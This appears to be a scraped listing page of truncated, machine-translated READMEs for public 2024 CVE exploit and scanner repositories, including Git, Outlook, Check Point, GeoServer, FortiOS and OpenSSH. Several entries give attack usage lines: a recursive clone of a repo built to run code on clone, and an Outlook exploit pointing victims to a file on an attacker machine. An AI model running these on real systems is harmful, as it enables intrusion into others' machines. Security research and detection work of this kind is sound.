CVE-2024-32002-hook

此存储库没有 README。...

FuguHub-8.4-Authenticated-RCE-CVE-2024-27697

FuguHub 8.4 认证远程代码执行 Fuguhub 是一款云媒体服务器软件。测试的版本是Debian版本，链接如下： https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC 的 FuguHub v.8.4 存在一个问题，允许本地攻击者通过向管理员面板的“关于”页面发送特制脚本来执行任意代码。 显示FuguHub下载页面的截图 安装步骤： root@kitploit: wget FuguHub.com/install/FuguHub.linux.install chmod +x...

CVE-2024-2997

CVE-2024-2997 扫描器 概述 CVE-2024-2997 扫描器是一款高级漏洞扫描器，用于检测 Web 应用中的命令注入漏洞。该工具可帮助安全专业人员识别其应用中潜在的安全风险。 免责声明 本工具仅供教育目的 使用。请仅在您拥有或已获得测试许可的应用上使用。作者不对因使用本工具造成的任何滥用或损害负责。 功能特性 高性能扫描 ：利用多线程（最多 20 个线程）实现快速扫描 全面的 URL 生成 ：生成大量潜在易受攻击的 URL 实时进度跟踪 ：通过动态进度条显示扫描进度 详细报告 ：生成扫描结果的文本和 HTML 报告 漏洞分类 ：按置信度对发现进行分类（低、中、高、严重）...

AbxOverflow

此处所述问题的修复已出现在 CVE-2024-34740 / A-307288067 下： 公告 公告中链接的补丁 另外两个补丁：1 2 Android 二进制 XML 在 Android systemserver 内部，许多服务在跨重启时将其状态存储为 XML 文件 $ adb shell su 0 find /data/system -name '.xml' | sort /data/system/appopsaccesses.xml /data/system/cachequota.xml /data/system/devicepolicies.xml...

git_rce

CVE-2024-32002 PoC 1. 你必须设置 Git 的符号链接选项，如下所示： root@kitploit: git config --global core.symlinks true 2. 然后通过以下命令利用 CVE-2024-32002： root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 攻击场景 kali192.168.216.129 --提供远程仓库地址-- Win192.168.216.130 kali192.168.216.129 --Git clone...

CVE-2024-10924

CVE-2024-10924...

reproduce-cve-2024-2887

此存储库没有 README。...

CVE-2024-4351

CVE-2024-4351...

CVE-2024-2961

CVE-2024-2961 CVE-2024-2961 を使用して任意のファイル読み取りを実行します 使用方法 最大の効果を得るには wrapwrap と併用してください。 root@kitploit: usage: arbitrary-file-read.py -h -t TARGET -c CHAIN -ct CONTENTTYPE --prefix-len PREFIXLEN --suffix-len SUFFIXLEN options: -h, --help show this help message and exit -t TARGET, --target TARGET Th...

CVE-2024-21413-POC

CVE-2024-21413 - POC 使用方法： python CVE-2024-21413.py -host example.com -port 25 -from [email protected] -recipient [email protected] -url xx.xx.xx.xx/path/to/shared/file/r0tb1t.rtf !NOTE r00tb1t : 是来自攻击者机器（xx.xx.xx.xx）的共享测试文件（本例中为Word文件）。 为确保符合SPF、DKIM和DMARC，请使用合法的$IP和域名。...

CVE-2024-6387-checkher

CVE-2024-6387-checkher...

CVE-2024-34144

CVE-2024-34144 CVE-2024-34144 的 PoC...

CVE-2024-7029-EXPLOIT

CVE-2024-7029-エクスプロイト...

CVE-2024-24919

CVE-2024-24919 用法 用法: ./CVE-2024-24919.sh -i -p -f 使用 -i 指定 IP root@kitploit: ./CVE-2024-24919.sh -i 190.XXX.XXX.XXX 使用 -f 检查多个 IP root@kitploit: ./CVE-2024-24919.sh -f uniq.txt 文件示例 root@kitploit: 192.168.0.1 192.168.0.2 192.168.0.3 ... 192.168.0.20...

GeoServer-Tools-CVE-2024-36401

GeoServer-Tools-CVE-2024-36401 CVE-2024-36401 のグラフィカルなエクスプロイトツール。各JDKバージョンのエクスプロイト、リバースシェル、メモリシェルをサポート。 影響バージョン： GeoServer 2.23.6 2.24.0 = GeoServer 2.24.4 2.25.0 = GeoServer 2.25.2 最近のHWでこの脆弱性がよく見られることが判明しましたが、便利なツールがありませんでした。ここでは https://github.com/whitebear-ch/GeoServerExploit...

CVE-2024-24919

CVE-2024-24919 CVE-2024-24919 の脆弱性検出およびエクスプロイトツール インストール: root@kitploit: git clone https://github.com/RevoltSecurities/CVE-2024-24919 pip install -r requirements.txt python3 exploit.py --help 使用方法: root@kitploit: python3 exploit.py -h / / / / / / / / | |// // / / / / / / / / / / / / / / // // /...

OpenSSH-Vulnerability-test

OpenSSH CVE-2024-6387 漏洞检查器 概述 此 C 程序用于扫描指定的 IP 地址或网段，以检查服务器是否运行存在潜在漏洞的 OpenSSH 版本。它会检查 SSH 端口（默认为 22）是否开放，获取 SSH 横幅，并判断服务器运行的版本是否已知存在漏洞。 编译 要编译该程序，请使用以下命令： root@kitploit: gcc checkvuln.c -o checkvuln -lpthread 用法 基本用法 要扫描多个 IP 地址，请将其作为参数传入： root@kitploit: ./checkvuln 192.168.1.1 192.168.1.2...

CVE-2024-24919

CVE-2024-24919 複数のURLを含むファイルを入力として受け取り、CHECKPOINTのCVE-2024-24919脆弱性をチェックする、高速かつシンプルなスクリプトです。 3 入力ファイルの例: デモ クレジット Gustavo Segundo - ByteNull%00...

fortios-auth-bypass-poc-CVE-2024-55591

CVE-2024-55591 Un PoC de omisión de autenticación en Fortinet FortiOS Descripción Use este PoC, puede omitir la autenticación y ver el registro del sistema USO root@kitploit: sysirq@sysirq-machine:/Work/Fortinet/FortiGate7016/CVE-2024-55591$ python3 poc.py usage: poc.py -h --target TARGET --port...

CVE-2024-5522

EN CVE-2024-5522脆弱性のPoCエクスプロイトスキャナー。WordPressウェブサイトを対象に、ターゲットURLのリストをスキャンし、特定のペイロードを使用して脆弱性の有無を確認します。 機能 自動脆弱性スキャン : ターゲットURLに対してCVE-2024-5522脆弱性をスキャンします。 カスタムペイロード対応 : 脆弱性チェック用のペイロードをファイルから使用します。 インストール 1. リポジトリをクローン: root@kitploit: git clone https://github.com/geniuszly/CVE-2024-5522 2...